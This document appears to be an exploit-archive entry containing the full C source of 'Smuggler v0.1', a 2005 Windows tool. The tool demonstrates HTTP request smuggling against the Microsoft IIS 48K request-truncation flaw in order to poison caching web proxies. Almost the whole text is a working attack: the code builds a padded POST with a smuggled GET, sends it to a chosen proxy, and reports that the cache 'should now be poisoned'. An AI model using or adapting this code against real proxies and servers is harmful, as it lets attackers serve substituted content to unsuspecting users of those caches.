Smuggler demonstrates HTTP Request Smuggling techniques. Currently it only demonstrates the Microsoft IIS greater than 48K Request Truncation flaw in order to poison caching web proxies.
83742fae85d9cc74372cdf12ab8cccd9dee6bc94c8b8e72c09f5c52216d0cdc2
/*
Smuggler v0.1, Andy Davis, Information Risk Management 2005
Demonstrates HTTP Request Smuggling - Web Cache Poisoning
This code is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This code is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
Or, point your browser to https://www.gnu.org/copyleft/gpl.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")
void usage (void);
int send_packet (unsigned char * PacketBuf, unsigned char * ProxyIP, unsigned char * ProxyPort);
void main(int *argc, char **argv)
{
unsigned char * TargetIP;
unsigned char * ProxyIP;
unsigned char * ProxyPort;
unsigned char * POSTPage;
unsigned char * PageToPoison;
unsigned char * PoisoningPage;
unsigned char ContentLength[6];
unsigned char FinalBuf[50000];
unsigned char BodyBuf[49200];
unsigned char buf1[] = "POST https://\x00";
unsigned char buf2[] = "/";
unsigned char buf3[] = " HTTP/1.1\r\nHost: \x00";
unsigned char buf4[] = "\r\nConnection: keep-alive\r\nContent-Length: \x00";
unsigned char buf6[] = "\r\n\r\n\x00";
unsigned char buf7[] = "\r\n GET /\x00";
unsigned char buf8[] = " HTTP/1.0\r\n\r\n\x00";
unsigned char buf9[] = "GET https://\x00";
unsigned char buf10[] = " HTTP/1.1\r\nHost: \x00";
int ContentLen = 0;
int x = 0;
if (argc < 6)
usage();
memset (BodyBuf,'A',49150);
BodyBuf[49150] = 0;
TargetIP = argv[1];
ProxyIP = argv[2];
ProxyPort = argv[3];
POSTPage = argv[4];
PageToPoison = argv[5];
PoisoningPage = argv[6];
memset (FinalBuf, 0, 50000);
for (x=0; x<50000; x++)
FinalBuf[x] = '\x00';
ContentLen = 49150 + strlen(buf7) + strlen(PoisoningPage) + strlen(buf8) - 5;
itoa (ContentLen, ContentLength, 10);
/* Build HTTP request */
strncpy (FinalBuf, buf1, strlen(buf1));
strncat (FinalBuf, TargetIP, strlen(TargetIP));
strncat (FinalBuf, buf2, strlen(buf2));
strncat (FinalBuf, POSTPage, strlen(POSTPage));
strncat (FinalBuf, buf3, strlen(buf3));
strncat (FinalBuf, TargetIP, strlen(TargetIP));
strncat (FinalBuf, buf4, strlen(buf4));
strncat (FinalBuf, ContentLength, strlen(ContentLength));
strncat (FinalBuf, buf6, strlen(buf6));
strncat (FinalBuf, BodyBuf, strlen(BodyBuf));
strncat (FinalBuf, buf7, strlen(buf7));
strncat (FinalBuf, PoisoningPage, strlen(PoisoningPage));
strncat (FinalBuf, buf8, strlen(buf8));
strncat (FinalBuf, buf9, strlen(buf9));
strncat (FinalBuf, TargetIP, strlen(TargetIP));
strncat (FinalBuf, buf2, strlen(buf2));
strncat (FinalBuf, PageToPoison, strlen(PageToPoison));
strncat (FinalBuf, buf10, strlen(buf10));
strncat (FinalBuf, TargetIP, strlen(TargetIP));
strncat (FinalBuf, buf6, strlen(buf6));
send_packet (FinalBuf, ProxyIP, ProxyPort);
}
void usage (void)
{
printf ("\n---------------------------------------------------\n");
printf ("smuggler v0.1 - The HTTP Request Smuggling tool\n");
printf ("Andy Davis, IRM plc 2005\n");
printf ("---------------------------------------------------\n\n");
printf ("Usage: smuggler <web server address> <proxy server address> <proxy server port> <POST ASP script> <page to poison> <poisoning page> \n\n");
exit (1);
}
int send_packet (unsigned char * PacketBuf, unsigned char * TargetIP, unsigned char * ProxyPort)
{
int bytesSent;
int bytesRecv = SOCKET_ERROR;
char recvbuf[100];
SOCKADDR_IN clientService;
SOCKET ConnectSocket;
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET)
{
printf("Error at socket(): %ld\n", WSAGetLastError());
WSACleanup();
exit (-1);
}
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(TargetIP);
clientService.sin_port = htons(atoi(ProxyPort));
if ( connect( ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR)
{
printf( "Error: socket(): %ld\n", WSAGetLastError());
WSACleanup();
exit (-1);
}
printf ("\nSending smuggled request.....");
bytesSent = send( ConnectSocket, PacketBuf, strlen(PacketBuf), 0 );
if (bytesSent > 0)
{
printf ("request sent successfully\n");
printf ("Please wait.....\n");
}
else
{
printf ("\nSend failed.\n\n");
}
while( bytesRecv == SOCKET_ERROR )
{
bytesRecv = recv( ConnectSocket, recvbuf, 32, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "Connection Closed.\n");
break;
}
printf ("The web cache should now be poisoned\n\n");
}
WSACleanup();
return 0;
}